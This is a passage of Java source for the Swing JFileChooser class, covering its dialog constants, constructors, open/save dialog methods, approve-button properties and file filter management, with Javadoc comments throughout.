 * href="package-summary.html#threading">Swing's Threading
 * Policy</a>.
 *
 * @beaninfo
 *   attribute: isContainer false
 * description: A component which allows for the interactive selection of a file.
 *
 * @author Jeff Dinkins
 *
 */
public class JFileChooser extends JComponent implements Accessible {

    /**
     * @see #getUIClassID
     * @see #readObject
     */
    private static final String uiClassID = "FileChooserUI";

    // ************************
    // ***** Dialog Types *****
    // ************************

    /**
     * Type value indicating that the <code>JFileChooser</code> supports an
     * "Open" file operation.
     */
    public static final int OPEN_DIALOG = 0;

    /**
     * Type value indicating that the <code>JFileChooser</code> supports a
     * "Save" file operation.
     */
    public static final int SAVE_DIALOG = 1;

    /**
     * Type value indicating that the <code>JFileChooser</code> supports a
     * developer-specified file operation.
     */
    public static final int CUSTOM_DIALOG = 2;


    // ********************************
    // ***** Dialog Return Values *****
    // ********************************

    /**
     * Return value if cancel is chosen.
     */
    public static final int CANCEL_OPTION = 1;

    /**
     * Return value if approve (yes, ok) is chosen.
     */
    public static final int APPROVE_OPTION = 0;

    /**
     * Return value if an error occurred.
     */
    public static final int ERROR_OPTION = -1;


    // **********************************
    // ***** JFileChooser properties *****
    // **********************************


    /** Instruction to display only files. */
    public static final int FILES_ONLY = 0;

    /** Instruction to display only directories. */
    public static final int DIRECTORIES_ONLY = 1;

    /** Instruction to display both files and directories. */
    public static final int FILES_AND_DIRECTORIES = 2;

    /** Instruction to cancel the current selection. */
    public static final String CANCEL_SELECTION = "CancelSelection";

    /**
     * Instruction to approve the current selection
     * (same as pressing yes or ok).
     */
    public static final String APPROVE_SELECTION = "ApproveSelection";

    /** Identifies change in the text on the approve (yes, ok) button. */
    public static final String APPROVE_BUTTON_TEXT_CHANGED_PROPERTY = "ApproveButtonTextChangedProperty";

    /**
     * Identifies change in the tooltip text for the approve (yes, ok)
     * button.
     */
    public static final String APPROVE_BUTTON_TOOL_TIP_TEXT_CHANGED_PROPERTY = "ApproveButtonToolTipTextChangedProperty";

    /** Identifies change in the mnemonic for the approve (yes, ok) button. */
    public static final String APPROVE_BUTTON_MNEMONIC_CHANGED_PROPERTY = "ApproveButtonMnemonicChangedProperty";

    /** Instruction to display the control buttons. */
    public static final String CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY = "ControlButtonsAreShownChangedProperty";

    /** Identifies user's directory change. */
    public static final String DIRECTORY_CHANGED_PROPERTY = "directoryChanged";

    /** Identifies change in user's single-file selection. */
    public static final String SELECTED_FILE_CHANGED_PROPERTY = "SelectedFileChangedProperty";

    /** Identifies change in user's multiple-file selection. */
    public static final String SELECTED_FILES_CHANGED_PROPERTY = "SelectedFilesChangedProperty";

    /** Enables multiple-file selections. */
    public static final String MULTI_SELECTION_ENABLED_CHANGED_PROPERTY = "MultiSelectionEnabledChangedProperty";

    /**
     * Says that a different object is being used to find available drives
     * on the system.
     */
    public static final String FILE_SYSTEM_VIEW_CHANGED_PROPERTY = "FileSystemViewChanged";

    /**
     * Says that a different object is being used to retrieve file
     * information.
     */
    public static final String FILE_VIEW_CHANGED_PROPERTY = "fileViewChanged";

    /** Identifies a change in the display-hidden-files property. */
    public static final String FILE_HIDING_CHANGED_PROPERTY = "FileHidingChanged";

    /** User changed the kind of files to display. */
    public static final String FILE_FILTER_CHANGED_PROPERTY = "fileFilterChanged";

    /**
     * Identifies a change in the kind of selection (single,
     * multiple, etc.).
     */
    public static final String FILE_SELECTION_MODE_CHANGED_PROPERTY = "fileSelectionChanged";

    /**
     * Says that a different accessory component is in use
     * (for example, to preview files).
     */
    public static final String ACCESSORY_CHANGED_PROPERTY = "AccessoryChangedProperty";

    /**
     * Identifies whether a the AcceptAllFileFilter is used or not.
     */
    public static final String ACCEPT_ALL_FILE_FILTER_USED_CHANGED_PROPERTY = "acceptAllFileFilterUsedChanged";

    /** Identifies a change in the dialog title. */
    public static final String DIALOG_TITLE_CHANGED_PROPERTY = "DialogTitleChangedProperty";

    /**
     * Identifies a change in the type of files displayed (files only,
     * directories only, or both files and directories).
     */
    public static final String DIALOG_TYPE_CHANGED_PROPERTY = "DialogTypeChangedProperty";

    /**
     * Identifies a change in the list of predefined file filters
     * the user can choose from.
     */
    public static final String CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY = "ChoosableFileFilterChangedProperty";

    // ******************************
    // ***** instance variables *****
    // ******************************

    private String dialogTitle = null;
    private String approveButtonText = null;
    private String approveButtonToolTipText = null;
    private int approveButtonMnemonic = 0;

    private Vector<FileFilter> filters = new Vector<FileFilter>(5);
    private JDialog dialog = null;
    private int dialogType = OPEN_DIALOG;
    private int returnValue = ERROR_OPTION;
    private JComponent accessory = null;

    private FileView fileView = null;

    private boolean controlsShown = true;

    private boolean useFileHiding = true;
    private static final String SHOW_HIDDEN_PROP = "awt.file.showHiddenFiles";

    // Listens to changes in the native setting for showing hidden files.
    // The Listener is removed and the native setting is ignored if
    // setFileHidingEnabled() is ever called.
    private transient PropertyChangeListener showFilesListener = null;

    private int fileSelectionMode = FILES_ONLY;

    private boolean multiSelectionEnabled = false;

    private boolean useAcceptAllFileFilter = true;

    private boolean dragEnabled = false;

    private FileFilter fileFilter = null;

    private FileSystemView fileSystemView = null;

    private File currentDirectory = null;
    private File selectedFile = null;
    private File[] selectedFiles;

    // *************************************
    // ***** JFileChooser Constructors *****
    // *************************************

    /**
     * Constructs a <code>JFileChooser</code> pointing to the user's
     * default directory. This default depends on the operating system.
     * It is typically the "My Documents" folder on Windows, and the
     * user's home directory on Unix.
     */
    public JFileChooser() {
        this((File) null, (FileSystemView) null);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given path.
     * Passing in a <code>null</code>
     * string causes the file chooser to point to the user's default directory.
     * This default depends on the operating system. It is
     * typically the "My Documents" folder on Windows, and the user's
     * home directory on Unix.
     *
     * @param currentDirectoryPath  a <code>String</code> giving the path
     *                          to a file or directory
     */
    public JFileChooser(String currentDirectoryPath) {
        this(currentDirectoryPath, (FileSystemView) null);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given <code>File</code>
     * as the path. Passing in a <code>null</code> file
     * causes the file chooser to point to the user's default directory.
     * This default depends on the operating system. It is
     * typically the "My Documents" folder on Windows, and the user's
     * home directory on Unix.
     *
     * @param currentDirectory  a <code>File</code> object specifying
     *                          the path to a file or directory
     */
    public JFileChooser(File currentDirectory) {
        this(currentDirectory, (FileSystemView) null);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given
     * <code>FileSystemView</code>.
     */
    public JFileChooser(FileSystemView fsv) {
        this((File) null, fsv);
    }


    /**
     * Constructs a <code>JFileChooser</code> using the given current directory
     * and <code>FileSystemView</code>.
     */
    public JFileChooser(File currentDirectory, FileSystemView fsv) {
        setup(fsv);
        setCurrentDirectory(currentDirectory);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given current directory
     * path and <code>FileSystemView</code>.
     */
    public JFileChooser(String currentDirectoryPath, FileSystemView fsv) {
        setup(fsv);
        if(currentDirectoryPath == null) {
            setCurrentDirectory(null);
        } else {
            setCurrentDirectory(fileSystemView.createFileObject(currentDirectoryPath));
        }
    }

    /**
     * Performs common constructor initialization and setup.
     */
    protected void setup(FileSystemView view) {
        installShowFilesListener();
        installHierarchyListener();

        if(view == null) {
            view = FileSystemView.getFileSystemView();
        }
        setFileSystemView(view);
        updateUI();
        if(isAcceptAllFileFilterUsed()) {
            setFileFilter(getAcceptAllFileFilter());
        }
        enableEvents(AWTEvent.MOUSE_EVENT_MASK);
    }

    private void installHierarchyListener() {
        addHierarchyListener(new HierarchyListener() {
            @Override
            public void hierarchyChanged(HierarchyEvent e) {
                if ((e.getChangeFlags() & HierarchyEvent.PARENT_CHANGED)
                        == HierarchyEvent.PARENT_CHANGED) {
                    JFileChooser fc = JFileChooser.this;
                    JRootPane rootPane = SwingUtilities.getRootPane(fc);
                    if (rootPane != null) {
                        rootPane.setDefaultButton(fc.getUI().getDefaultButton(fc));
                    }
                }
            }
        });
    }

    private void installShowFilesListener() {
        // Track native setting for showing hidden files
        Toolkit tk = Toolkit.getDefaultToolkit();
        Object showHiddenProperty = tk.getDesktopProperty(SHOW_HIDDEN_PROP);
        if (showHiddenProperty instanceof Boolean) {
            useFileHiding = !((Boolean)showHiddenProperty).booleanValue();
            showFilesListener = new WeakPCL(this);
            tk.addPropertyChangeListener(SHOW_HIDDEN_PROP, showFilesListener);
        }
    }

    /**
     * Sets the <code>dragEnabled</code> property,
     * which must be <code>true</code> to enable
     * automatic drag handling (the first part of drag and drop)
     * on this component.
     * The <code>transferHandler</code> property needs to be set
     * to a non-<code>null</code> value for the drag to do
     * anything.  The default value of the <code>dragEnabled</code>
     * property
     * is <code>false</code>.
     *
     * <p>
     *
     * When automatic drag handling is enabled,
     * most look and feels begin a drag-and-drop operation
     * whenever the user presses the mouse button over an item
     * and then moves the mouse a few pixels.
     * Setting this property to <code>true</code>
     * can therefore have a subtle effect on
     * how selections behave.
     *
     * <p>
     *
     * Some look and feels might not support automatic drag and drop;
     * they will ignore this property.  You can work around such
     * look and feels by modifying the component
     * to directly call the <code>exportAsDrag</code> method of a
     * <code>TransferHandler</code>.
     *
     * @param b the value to set the <code>dragEnabled</code> property to
     * @exception HeadlessException if
     *            <code>b</code> is <code>true</code> and
     *            <code>GraphicsEnvironment.isHeadless()</code>
     *            returns <code>true</code>
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @see #getDragEnabled
     * @see #setTransferHandler
     * @see TransferHandler
     * @since 1.4
     *
     * @beaninfo
     *  description: determines whether automatic drag handling is enabled
     *        bound: false
     */
    public void setDragEnabled(boolean b) {
        if (b && GraphicsEnvironment.isHeadless()) {
            throw new HeadlessException();
        }
        dragEnabled = b;
    }

    /**
     * Gets the value of the <code>dragEnabled</code> property.
     *
     * @return  the value of the <code>dragEnabled</code> property
     * @see #setDragEnabled
     * @since 1.4
     */
    public boolean getDragEnabled() {
        return dragEnabled;
    }

    // *****************************
    // ****** File Operations ******
    // *****************************

    /**
     * Returns the selected file. This can be set either by the
     * programmer via <code>setSelectedFile</code> or by a user action, such as
     * either typing the filename into the UI or selecting the
     * file from a list in the UI.
     *
     * @see #setSelectedFile
     * @return the selected file
     */
    public File getSelectedFile() {
        return selectedFile;
    }

    /**
     * Sets the selected file. If the file's parent directory is
     * not the current directory, changes the current directory
     * to be the file's parent directory.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     *
     * @see #getSelectedFile
     *
     * @param file the selected file
     */
    public void setSelectedFile(File file) {
        File oldValue = selectedFile;
        selectedFile = file;
        if(selectedFile != null) {
            if (file.isAbsolute() && !getFileSystemView().isParent(getCurrentDirectory(), selectedFile)) {
                setCurrentDirectory(selectedFile.getParentFile());
            }
            if (!isMultiSelectionEnabled() || selectedFiles == null || selectedFiles.length == 1) {
                ensureFileIsVisible(selectedFile);
            }
        }
        firePropertyChange(SELECTED_FILE_CHANGED_PROPERTY, oldValue, selectedFile);
    }

    /**
     * Returns a list of selected files if the file chooser is
     * set to allow multiple selection.
     */
    public File[] getSelectedFiles() {
        if(selectedFiles == null) {
            return new File[0];
        } else {
            return selectedFiles.clone();
        }
    }

    /**
     * Sets the list of selected files if the file chooser is
     * set to allow multiple selection.
     *
     * @beaninfo
     *       bound: true
     * description: The list of selected files if the chooser is in multiple selection mode.
     */
    public void setSelectedFiles(File[] selectedFiles) {
        File[] oldValue = this.selectedFiles;
        if (selectedFiles == null || selectedFiles.length == 0) {
            selectedFiles = null;
            this.selectedFiles = null;
            setSelectedFile(null);
        } else {
            this.selectedFiles = selectedFiles.clone();
            setSelectedFile(this.selectedFiles[0]);
        }
        firePropertyChange(SELECTED_FILES_CHANGED_PROPERTY, oldValue, selectedFiles);
    }

    /**
     * Returns the current directory.
     *
     * @return the current directory
     * @see #setCurrentDirectory
     */
    public File getCurrentDirectory() {
        return currentDirectory;
    }

    /**
     * Sets the current directory. Passing in <code>null</code> sets the
     * file chooser to point to the user's default directory.
     * This default depends on the operating system. It is
     * typically the "My Documents" folder on Windows, and the user's
     * home directory on Unix.
     *
     * If the file passed in as <code>currentDirectory</code> is not a
     * directory, the parent of the file will be used as the currentDirectory.
     * If the parent is not traversable, then it will walk up the parent tree
     * until it finds a traversable directory, or hits the root of the
     * file system.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The directory that the JFileChooser is showing files of.
     *
     * @param dir the current directory to point to
     * @see #getCurrentDirectory
     */
    public void setCurrentDirectory(File dir) {
        File oldValue = currentDirectory;

        if (dir != null && !dir.exists()) {
            dir = currentDirectory;
        }
        if (dir == null) {
            dir = getFileSystemView().getDefaultDirectory();
        }
        if (currentDirectory != null) {
            /* Verify the toString of object */
            if (this.currentDirectory.equals(dir)) {
                return;
            }
        }

        File prev = null;
        while (!isTraversable(dir) && prev != dir) {
            prev = dir;
            dir = getFileSystemView().getParentDirectory(dir);
        }
        currentDirectory = dir;

        firePropertyChange(DIRECTORY_CHANGED_PROPERTY, oldValue, currentDirectory);
    }

    /**
     * Changes the directory to be set to the parent of the
     * current directory.
     *
     * @see #getCurrentDirectory
     */
    public void changeToParentDirectory() {
        selectedFile = null;
        File oldValue = getCurrentDirectory();
        setCurrentDirectory(getFileSystemView().getParentDirectory(oldValue));
    }

    /**
     * Tells the UI to rescan its files list from the current directory.
     */
    public void rescanCurrentDirectory() {
        getUI().rescanCurrentDirectory(this);
    }

    /**
     * Makes sure that the specified file is viewable, and
     * not hidden.
     *
     * @param f  a File object
     */
    public void ensureFileIsVisible(File f) {
        getUI().ensureFileIsVisible(this, f);
    }

    // **************************************
    // ***** JFileChooser Dialog methods *****
    // **************************************

    /**
     * Pops up an "Open File" file chooser dialog. Note that the
     * text that appears in the approve button is determined by
     * the L&amp;F.
     *
     * @param    parent  the parent component of the dialog,
     *                  can be <code>null</code>;
     *                  see <code>showDialog</code> for details
     * @return   the return state of the file chooser on popdown:
     * <ul>
     * <li>JFileChooser.CANCEL_OPTION
     * <li>JFileChooser.APPROVE_OPTION
     * <li>JFileChooser.ERROR_OPTION if an error occurs or the
     *                  dialog is dismissed
     * </ul>
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @see #showDialog
     */
    public int showOpenDialog(Component parent) throws HeadlessException {
        setDialogType(OPEN_DIALOG);
        return showDialog(parent, null);
    }

    /**
     * Pops up a "Save File" file chooser dialog. Note that the
     * text that appears in the approve button is determined by
     * the L&amp;F.
     *
     * @param    parent  the parent component of the dialog,
     *                  can be <code>null</code>;
     *                  see <code>showDialog</code> for details
     * @return   the return state of the file chooser on popdown:
     * <ul>
     * <li>JFileChooser.CANCEL_OPTION
     * <li>JFileChooser.APPROVE_OPTION
     * <li>JFileChooser.ERROR_OPTION if an error occurs or the
     *                  dialog is dismissed
     * </ul>
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @see #showDialog
     */
    public int showSaveDialog(Component parent) throws HeadlessException {
        setDialogType(SAVE_DIALOG);
        return showDialog(parent, null);
    }

    /**
     * Pops a custom file chooser dialog with a custom approve button.
     * For example, the following code
     * pops up a file chooser with a "Run Application" button
     * (instead of the normal "Save" or "Open" button):
     * <pre>
     * filechooser.showDialog(parentFrame, "Run Application");
     * </pre>
     *
     * Alternatively, the following code does the same thing:
     * <pre>
     *    JFileChooser chooser = new JFileChooser(null);
     *    chooser.setApproveButtonText("Run Application");
     *    chooser.showDialog(parentFrame, null);
     * </pre>
     *
     * <!--PENDING(jeff) - the following method should be added to the api:
     *      showDialog(Component parent);-->
     * <!--PENDING(kwalrath) - should specify modality and what
     *      "depends" means.-->
     *
     * <p>
     *
     * The <code>parent</code> argument determines two things:
     * the frame on which the open dialog depends and
     * the component whose position the look and feel
     * should consider when placing the dialog.  If the parent
     * is a <code>Frame</code> object (such as a <code>JFrame</code>)
     * then the dialog depends on the frame and
     * the look and feel positions the dialog
     * relative to the frame (for example, centered over the frame).
     * If the parent is a component, then the dialog
     * depends on the frame containing the component,
     * and is positioned relative to the component
     * (for example, centered over the component).
     * If the parent is <code>null</code>, then the dialog depends on
     * no visible window, and it's placed in a
     * look-and-feel-dependent position
     * such as the center of the screen.
     *
     * @param   parent  the parent component of the dialog;
     *                  can be <code>null</code>
     * @param   approveButtonText the text of the <code>ApproveButton</code>
     * @return  the return state of the file chooser on popdown:
     * <ul>
     * <li>JFileChooser.CANCEL_OPTION
     * <li>JFileChooser.APPROVE_OPTION
     * <li>JFileChooser.ERROR_OPTION if an error occurs or the
     *                  dialog is dismissed
     * </ul>
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     */
    public int showDialog(Component parent, String approveButtonText)
        throws HeadlessException {
        if (dialog != null) {
            // Prevent to show second instance of dialog if the previous one still exists
            return JFileChooser.ERROR_OPTION;
        }

        if(approveButtonText != null) {
            setApproveButtonText(approveButtonText);
            setDialogType(CUSTOM_DIALOG);
        }
        dialog = createDialog(parent);
        dialog.addWindowListener(new WindowAdapter() {
            public void windowClosing(WindowEvent e) {
                returnValue = CANCEL_OPTION;
            }
        });
        returnValue = ERROR_OPTION;
        rescanCurrentDirectory();

        dialog.show();
        firePropertyChange("JFileChooserDialogIsClosingProperty", dialog, null);

        // Remove all components from dialog. The MetalFileChooserUI.installUI() method (and other LAFs)
        // registers AWT listener for dialogs and produces memory leaks. It happens when
        // installUI invoked after the showDialog method.
        dialog.getContentPane().removeAll();
        dialog.dispose();
        dialog = null;
        return returnValue;
    }

    /**
     * Creates and returns a new <code>JDialog</code> wrapping
     * <code>this</code> centered on the <code>parent</code>
     * in the <code>parent</code>'s frame.
     * This method can be overriden to further manipulate the dialog,
     * to disable resizing, set the location, etc. Example:
     * <pre>
     *     class MyFileChooser extends JFileChooser {
     *         protected JDialog createDialog(Component parent) throws HeadlessException {
     *             JDialog dialog = super.createDialog(parent);
     *             dialog.setLocation(300, 200);
     *             dialog.setResizable(false);
     *             return dialog;
     *         }
     *     }
     * </pre>
     *
     * @param   parent  the parent component of the dialog;
     *                  can be <code>null</code>
     * @return a new <code>JDialog</code> containing this instance
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @since 1.4
     */
    protected JDialog createDialog(Component parent) throws HeadlessException {
        FileChooserUI ui = getUI();
        String title = ui.getDialogTitle(this);
        putClientProperty(AccessibleContext.ACCESSIBLE_DESCRIPTION_PROPERTY,
                          title);

        JDialog dialog;
        Window window = JOptionPane.getWindowForComponent(parent);
        if (window instanceof Frame) {
            dialog = new JDialog((Frame)window, title, true);
        } else {
            dialog = new JDialog((Dialog)window, title, true);
        }
        dialog.setComponentOrientation(this.getComponentOrientation());

        Container contentPane = dialog.getContentPane();
        contentPane.setLayout(new BorderLayout());
        contentPane.add(this, BorderLayout.CENTER);

        if (JDialog.isDefaultLookAndFeelDecorated()) {
            boolean supportsWindowDecorations =
            UIManager.getLookAndFeel().getSupportsWindowDecorations();
            if (supportsWindowDecorations) {
                dialog.getRootPane().setWindowDecorationStyle(JRootPane.FILE_CHOOSER_DIALOG);
            }
        }
        dialog.pack();
        dialog.setLocationRelativeTo(parent);

        return dialog;
    }

    // **************************
    // ***** Dialog Options *****
    // **************************

    /**
     * Returns the value of the <code>controlButtonsAreShown</code>
     * property.
     *
     * @return   the value of the <code>controlButtonsAreShown</code>
     *     property
     *
     * @see #setControlButtonsAreShown
     * @since 1.3
     */
    public boolean getControlButtonsAreShown() {
        return controlsShown;
    }


    /**
     * Sets the property
     * that indicates whether the <i>approve</i> and <i>cancel</i>
     * buttons are shown in the file chooser.  This property
     * is <code>true</code> by default.  Look and feels
     * that always show these buttons will ignore the value
     * of this property.
     * This method fires a property-changed event,
     * using the string value of
     * <code>CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY</code>
     * as the name of the property.
     *
     * @param b <code>false</code> if control buttons should not be
     *    shown; otherwise, <code>true</code>
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets whether the approve &amp; cancel buttons are shown.
     *
     * @see #getControlButtonsAreShown
     * @see #CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY
     * @since 1.3
     */
    public void setControlButtonsAreShown(boolean b) {
        if(controlsShown == b) {
            return;
        }
        boolean oldValue = controlsShown;
        controlsShown = b;
        firePropertyChange(CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY, oldValue, controlsShown);
    }

    /**
     * Returns the type of this dialog.  The default is
     * <code>JFileChooser.OPEN_DIALOG</code>.
     *
     * @return   the type of dialog to be displayed:
     * <ul>
     * <li>JFileChooser.OPEN_DIALOG
     * <li>JFileChooser.SAVE_DIALOG
     * <li>JFileChooser.CUSTOM_DIALOG
     * </ul>
     *
     * @see #setDialogType
     */
    public int getDialogType() {
        return dialogType;
    }

    /**
     * Sets the type of this dialog. Use <code>OPEN_DIALOG</code> when you
     * want to bring up a file chooser that the user can use to open a file.
     * Likewise, use <code>SAVE_DIALOG</code> for letting the user choose
     * a file for saving.
     * Use <code>CUSTOM_DIALOG</code> when you want to use the file
     * chooser in a context other than "Open" or "Save".
     * For instance, you might want to bring up a file chooser that allows
     * the user to choose a file to execute. Note that you normally would not
     * need to set the <code>JFileChooser</code> to use
     * <code>CUSTOM_DIALOG</code>
     * since a call to <code>setApproveButtonText</code> does this for you.
     * The default dialog type is <code>JFileChooser.OPEN_DIALOG</code>.
     *
     * @param dialogType the type of dialog to be displayed:
     * <ul>
     * <li>JFileChooser.OPEN_DIALOG
     * <li>JFileChooser.SAVE_DIALOG
     * <li>JFileChooser.CUSTOM_DIALOG
     * </ul>
     *
     * @exception IllegalArgumentException if <code>dialogType</code> is
     *                          not legal
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The type (open, save, custom) of the JFileChooser.
     *        enum:
     *              OPEN_DIALOG JFileChooser.OPEN_DIALOG
     *              SAVE_DIALOG JFileChooser.SAVE_DIALOG
     *              CUSTOM_DIALOG JFileChooser.CUSTOM_DIALOG
     *
     * @see #getDialogType
     * @see #setApproveButtonText
     */
    // PENDING(jeff) - fire button text change property
    public void setDialogType(int dialogType) {
        if(this.dialogType == dialogType) {
            return;
        }
        if(!(dialogType == OPEN_DIALOG || dialogType == SAVE_DIALOG || dialogType == CUSTOM_DIALOG)) {
            throw new IllegalArgumentException("Incorrect Dialog Type: " + dialogType);
        }
        int oldValue = this.dialogType;
        this.dialogType = dialogType;
        if(dialogType == OPEN_DIALOG || dialogType == SAVE_DIALOG) {
            setApproveButtonText(null);
        }
        firePropertyChange(DIALOG_TYPE_CHANGED_PROPERTY, oldValue, dialogType);
    }

    /**
     * Sets the string that goes in the <code>JFileChooser</code> window's
     * title bar.
     *
     * @param dialogTitle the new <code>String</code> for the title bar
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The title of the JFileChooser dialog window.
     *
     * @see #getDialogTitle
     *
     */
    public void setDialogTitle(String dialogTitle) {
        String oldValue = this.dialogTitle;
        this.dialogTitle = dialogTitle;
        if(dialog != null) {
            dialog.setTitle(dialogTitle);
        }
        firePropertyChange(DIALOG_TITLE_CHANGED_PROPERTY, oldValue, dialogTitle);
    }

    /**
     * Gets the string that goes in the <code>JFileChooser</code>'s titlebar.
     *
     * @see #setDialogTitle
     */
    public String getDialogTitle() {
        return dialogTitle;
    }

    // ************************************
    // ***** JFileChooser View Options *****
    // ************************************



    /**
     * Sets the tooltip text used in the <code>ApproveButton</code>.
     * If <code>null</code>, the UI object will determine the button's text.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The tooltip text for the ApproveButton.
     *
     * @param toolTipText the tooltip text for the approve button
     * @see #setApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    public void setApproveButtonToolTipText(String toolTipText) {
        if(approveButtonToolTipText == toolTipText) {
            return;
        }
        String oldValue = approveButtonToolTipText;
        approveButtonToolTipText = toolTipText;
        firePropertyChange(APPROVE_BUTTON_TOOL_TIP_TEXT_CHANGED_PROPERTY, oldValue, approveButtonToolTipText);
    }


    /**
     * Returns the tooltip text used in the <code>ApproveButton</code>.
     * If <code>null</code>, the UI object will determine the button's text.
     *
     * @return the tooltip text used for the approve button
     *
     * @see #setApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    public String getApproveButtonToolTipText() {
        return approveButtonToolTipText;
    }

    /**
     * Returns the approve button's mnemonic.
     * @return an integer value for the mnemonic key
     *
     * @see #setApproveButtonMnemonic
     */
    public int getApproveButtonMnemonic() {
        return approveButtonMnemonic;
    }

    /**
     * Sets the approve button's mnemonic using a numeric keycode.
     *
     * @param mnemonic  an integer value for the mnemonic key
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The mnemonic key accelerator for the ApproveButton.
     *
     * @see #getApproveButtonMnemonic
     */
    public void setApproveButtonMnemonic(int mnemonic) {
        if(approveButtonMnemonic == mnemonic) {
           return;
        }
        int oldValue = approveButtonMnemonic;
        approveButtonMnemonic = mnemonic;
        firePropertyChange(APPROVE_BUTTON_MNEMONIC_CHANGED_PROPERTY, oldValue, approveButtonMnemonic);
    }

    /**
     * Sets the approve button's mnemonic using a character.
     * @param mnemonic  a character value for the mnemonic key
     *
     * @see #getApproveButtonMnemonic
     */
    public void setApproveButtonMnemonic(char mnemonic) {
        int vk = (int) mnemonic;
        if(vk >= 'a' && vk <='z') {
            vk -= ('a' - 'A');
        }
        setApproveButtonMnemonic(vk);
    }


    /**
     * Sets the text used in the <code>ApproveButton</code> in the
     * <code>FileChooserUI</code>.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The text that goes in the ApproveButton.
     *
     * @param approveButtonText the text used in the <code>ApproveButton</code>
     *
     * @see #getApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    // PENDING(jeff) - have ui set this on dialog type change
    public void setApproveButtonText(String approveButtonText) {
        if(this.approveButtonText == approveButtonText) {
            return;
        }
        String oldValue = this.approveButtonText;
        this.approveButtonText = approveButtonText;
        firePropertyChange(APPROVE_BUTTON_TEXT_CHANGED_PROPERTY, oldValue, approveButtonText);
    }

    /**
     * Returns the text used in the <code>ApproveButton</code> in the
     * <code>FileChooserUI</code>.
     * If <code>null</code>, the UI object will determine the button's text.
     *
     * Typically, this would be "Open" or "Save".
     *
     * @return the text used in the <code>ApproveButton</code>
     *
     * @see #setApproveButtonText
     * @see #setDialogType
     * @see #showDialog
     */
    public String getApproveButtonText() {
        return approveButtonText;
    }

    /**
     * Gets the list of user choosable file filters.
     *
     * @return a <code>FileFilter</code> array containing all the choosable
     *         file filters
     *
     * @see #addChoosableFileFilter
     * @see #removeChoosableFileFilter
     * @see #resetChoosableFileFilters
     */
    public FileFilter[] getChoosableFileFilters() {
        FileFilter[] filterArray = new FileFilter[filters.size()];
        filters.copyInto(filterArray);
        return filterArray;
    }

    /**
     * Adds a filter to the list of user choosable file filters.
     * For information on setting the file selection mode, see
     * {@link #setFileSelectionMode setFileSelectionMode}.
     *
     * @param filter the <code>FileFilter</code> to add to the choosable file
     *               filter list
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Adds a filter to the list of user choosable file filters.
     *
     * @see #getChoosableFileFilters
     * @see #removeChoosableFileFilter
     * @see #resetChoosableFileFilters
     * @see #setFileSelectionMode
     */
    public void addChoosableFileFilter(FileFilter filter) {
        if(filter != null && !filters.contains(filter)) {
            FileFilter[] oldValue = getChoosableFileFilters();
            filters.addElement(filter);
            firePropertyChange(CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY, oldValue, getChoosableFileFilters());
            if (fileFilter == null && filters.size() == 1) {
                setFileFilter(filter);
            }
        }
    }

    /**
     * Removes a filter from the list of user choosable file filters. Returns
     * true if the file filter was removed.
     *
     * @see #addChoosableFileFilter
     * @see #getChoosableFileFilters
     * @see #resetChoosableFileFilters
     */
    public boolean removeChoosableFileFilter(FileFilter f) {
        int index = filters.indexOf(f);
        if (index >= 0) {
            if(getFileFilter() == f) {
                FileFilter aaff = getAcceptAllFileFilter();
                if (isAcceptAllFileFilterUsed() && (aaff != f)) {
                    // choose default filter if it is used
                    setFileFilter(aaff);
                }
                else if (index > 0) {
                    // choose the first filter, because it is not removed
                    setFileFilter(filters.get(0));
                }
                else if (filters.size() > 1) {
                    // choose the second filter, because the first one is removed
                    setFileFilter(filters.get(1));
                }
                else {
                    // no more filters
                    setFileFilter(null);
                }
            }
            FileFilter[] oldValue = getChoosableFileFilters();
            filters.removeElement(f);
            firePropertyChange(CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY, oldValue, getChoosableFileFilters());
            return true;
        } else {
            return false;
        }
    }

    /**
     * Resets the choosable file filter list to its starting state. Normally,
     * this removes all added file filters while leaving the
     * <code>AcceptAll</code> file filter.
     *
     * @see #addChoosableFileFilter
     * @see #getChoosableFileFilters
     * @see #removeChoosableFileFilter
     */
    public void resetChoosableFileFilters() {
        FileFilter[] oldValue = getChoosableFileFilters();
        setFileFilter(null);
        filters.removeAllElements();
        if(isAcceptAllFileFilterUsed()) {
           addChoosableFileFilter(getAcceptAllFileFilter());
        }
        firePropertyChange(CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY, oldValue, getChoosableFileFilters());
    }

    /**
     * Returns the <code>AcceptAll</code> file filter.
     * For example, on Microsoft Windows this would be All Files (*.*).
     */
    public FileFilter getAcceptAllFileFilter() {
        FileFilter filter = null;
        if(getUI() != null) {
            filter = getUI().getAcceptAllFileFilter(this);
        }
        return filter;
    }

   /**
    * Returns whether the <code>AcceptAll FileFilter</code> is used.
    * @return true if the <code>AcceptAll FileFilter</code> is used
    * @see #setAcceptAllFileFilterUsed
